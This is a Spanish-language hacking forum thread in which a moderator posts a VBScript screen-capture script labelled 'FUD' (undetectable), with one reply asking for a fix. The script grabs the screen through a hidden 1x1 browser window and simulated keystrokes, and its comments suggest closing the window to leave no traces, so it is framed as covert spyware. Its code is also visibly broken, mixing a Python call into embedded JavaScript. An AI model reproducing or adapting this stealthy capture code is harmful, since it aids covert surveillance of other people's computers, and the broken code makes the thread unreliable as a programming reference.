comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[VBS] ScreenCapture (Req FireFox/Chrome y permisos de admin)(FUD)

  • 2 Respuestas
  • 1455 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado 79137913

  • *
  • Moderator
  • Mensajes: 633
  • Actividad:
    8.33%
  • Reputación 11
  • 4 Esquinas
    • Ver Perfil
    • Doors.Party
    • Email
  • Skype: fg_mdq@hotmail.com
« en: Abril 18, 2018, 12:39:08 pm »
HOLA!!!

ATENCION: Requiere Firefox / Chrome y ser ejecutado con permisos de admin.

Código: Visual Basic
  1. 'FUNCIONA SOLO SI LA PC POSEE FIREFOX/CHROME(CON CHROME CAMBIANDO LA LINEA DONDE DICE "FIREFOX.EXE" POR "CHROME.EXE")
  2.  
  3. Call ScreenShot("c:\web.html","c:\a.html")
  4.  
  5. Function ScreenShot(WebUrl, Output)
  6.     With CreateObject("Word.Basic")
  7.         .SendKeys "{1068}"
  8.     End With
  9.     Set objFSO = CreateObject("Scripting.FileSystemObject")
  10.     Set objFile = objFSO.CreateTextFile(WebUrl, True)
  11.     objFile.Write "<script>function handlepaste () {myimage = ImageGrab.grabclipboard();}</script><body onload='handlepaste()'></body><div id='div' contenteditable='true' onpaste='handlepaste()'>Paste</div>" & vbCrLf
  12.     objFile.Close
  13.     On Error Resume Next
  14.         CreateObject("Scripting.FileSystemObject").DeleteFile "c:\a.html"
  15.     On Error GoTo 0
  16.     Set wshshell = wscript.CreateObject("WScript.Shell")
  17.     'antes de aca se podria poner una instruccion para que cerrara el proceso del Firefox
  18.        wshshell.run "firefox.exe -Height 1 -Width 1 " & WebUrl 'Abre firefox en tama�o 1x1  
  19.            wscript.sleep 5000
  20.         wshshell.SendKeys ("{TAB}") 'entra a la web
  21.            wscript.sleep 500
  22.         wshshell.SendKeys ("+{INSERT}") 'pega el screenshot
  23.            wscript.sleep 1000
  24.         wshshell.SendKeys ("^s") 'guarda la pagina
  25.            wscript.sleep 500
  26.         wshshell.SendKeys (Output) 'pone el path
  27.            wscript.sleep 1000
  28.         wshshell.SendKeys ("{ENTER}") 'confirma el guardado
  29.    'aca se podria matar a la ventana del firefox abierta para no dejar rastos.
  30. End Function

GRACIAS POR LEER!!!
« Última modificación: Abril 18, 2018, 12:52:52 pm por 79137913 »
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scout Team*                                                   No tienes permisos para ver links. Registrate o Entra con tu cuenta

Conectado NyxKazuya

  • *
  • Underc0der
  • Mensajes: 54
  • Actividad:
    3.33%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Abril 21, 2018, 12:12:53 am »
alguna solución?
No tienes permisos para ver links. Registrate o Entra con tu cuenta

Conectado 79137913

  • *
  • Moderator
  • Mensajes: 633
  • Actividad:
    8.33%
  • Reputación 11
  • 4 Esquinas
    • Ver Perfil
    • Doors.Party
    • Email
  • Skype: fg_mdq@hotmail.com
« Respuesta #2 en: Abril 23, 2018, 08:06:34 am »
HOLA!!!

@No tienes permisos para ver links. Registrate o Entra con tu cuenta debes ejecutar esto como administrador.

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scout Team*                                                   No tienes permisos para ver links. Registrate o Entra con tu cuenta

 

¿Te gustó el post? COMPARTILO!